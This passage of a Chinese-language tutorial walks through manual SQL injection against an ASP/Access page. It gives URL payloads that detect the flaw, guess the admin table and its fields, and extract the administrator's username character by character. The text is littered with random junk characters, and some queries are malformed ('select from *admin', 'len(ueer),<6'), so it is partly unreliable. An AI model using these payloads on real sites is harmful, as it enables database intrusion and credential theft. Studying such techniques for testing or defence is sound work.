0 e+ I+ Z: w! H6 ]/ w+ D（3）进一步像浏览器提交如下URL：http://127.0.0.1/111/view.asp?id=198 and 1=2 这里1=2是一个恒不等式。: b) `! H9 f$ d
如果站点支持数据库查询，大概会返回一个这样的提示： , z7 d! N4 m7 pmicrosoft VBScript 编辑器错误 错误’800a03f6'$ ^, _: }& h l. D% z! h6 M$ g
缺少'End' ) H8 w5 M! M" T+ {/iisHelp/common/500-100.asp,行242 ! V2 T: p) i* `: ?8 j' |ADODB.Field 错误'800a0bcd' $ ~3 S D* Y: O0 ]" g( sBOF或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记录。' \- A! A6 E# _, W
/111/view.asp. 行50! N3 p' @) D& g! c9 _
: }3 G! L( i. h8 j T3 B* |
一般出现这个信息我们就能够基本确定这个站能够进行SQL的注入了。 ) P. k1 W4 d8 r. c * ~9 w! _; y0 b# Y% l; k* x3 E不过很多的时候我们只需要用一个单引号就可以快速的判断出目标站点是否存在SQL的注入，向浏览器提交如下url: http://127.0.0.1/111/view.asp?id=198'! Z. s) d% |- ?
$ o0 i" E8 Y1 Z9 m+ M
如果返回的如下信息就说明有一半以上的几率存在注入漏洞： " n# w. \# E4 ?" bMicrosoft OLE DB Provider for ODBC Drivers错误’80040e14’9 C8 f9 w3 W. T1 B |7 ?5 x
[Microsoft] [OBDC * y, X1 X, j K, ~Microsoft Ac-cess Driver]字符串的语法错误在查询表达式’id=1’中。, b" G0 N* z( R; @
# B( J9 c8 ?5 V/ L6 Y) L2 c, V2 A9 G3 b. a& b$ ~
（4）此时我们开始构造特殊的SQL查询语句来查询站点数据库的表名，向url提交如下语句： $ O6 E" ?0 `) J" `2 b% _# Ahttp://127.0.0.1/111/view.asp?id=198 and exists(select from *admin) * N4 l( s& d% b& i+ C q: n0 i! n+ K, {3 s6 I这个语句是向数据库查询是否存在admin这个表，如果存在就会返回正常页面，不存在就会返回出现错误的页面，一般我们都会先测试常用的表名 当然这也是一般的注入工具密码字典内存在的表名和字段名，如果表名不存在的常用的表明中，哪么我们就用社会工程学来猜解表名，当然这样的情况下猜中表名的概率也是很低的。+ q4 `- E$ `. X; D; {- _ \# T9 u* j
5 j0 ~4 h; A( j7 {; k
（5）在得到表名后开始构造查询语句查询数据库字段名，想url提交如下语句： ! u5 ~% T x) p) Q# Lhttp://127.0.0.1/111/view.asp?id=198 and exists(select user from admin)2 t3 b4 D8 Z) ]/ o. ]1 ?
' J4 v. _. v" {8 S J$ n
这个语句是向数据库中admin表中查询师傅存在user字段，存在的话返回正常页面，附则反之 * m& F) Q: l v+ f* w5 A ' O/ K! z& K3 D$ n（6）接下来确定字段id值，语句：! R8 O' d3 d, P+ Y! J http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where id=1) & F3 I6 `- }& V/ h* x- `; S 0 V2 g5 u3 ?9 _ [ 7 ~/ Q ?" Q7 D4 {4 m, X; ]正确返回正常页面 不存在的话返回出错页面+ b% D. a9 ?# ^1 }( N/ m
* x0 I+ F# m1 t1 w) q$ w
: @% C, L; Y! c) U（7）在表名和字段名猜测出来以后，我们开始向url提交查询语句 猜测管理员账号的长度! l+ R/ Z( P& X http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(ueer),<6 and id=1)4 D \- b+ x( N p
7 s! C1 X8 t1 p7 `- I
这个语句是查询user字段中用户名长度的范围，表示长度小于6 同样的正确返回正常页面，错误的话返回出错页面0 q4 g" ?1 |5 Z( d
缩小范围，然后构造下面的语句确定用户名的具体长度： $ K5 ?* Q* ?# \& ?, S dhttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1) ! M2 u i2 _) {8 p+ a; E7 Z, J# Q, j) W, j$ A t
这里也是正确返回正常页面 错误返回出错页面& J# {* z/ j; g' w- @! g0 h
1 ?& Z' I6 M/ p6 v A$ m) b
（8）最后我们开始进入最后的环节查询管理员用户名，像url提交构造的查询语句：1 {3 R: O' i6 k) y- ~( d http://127.0.0.1/111/view.asp?id=198 and exists(select count(*)from admin where left(user,1)='a')* Z+ ^9 U: l3 e* Y- ?
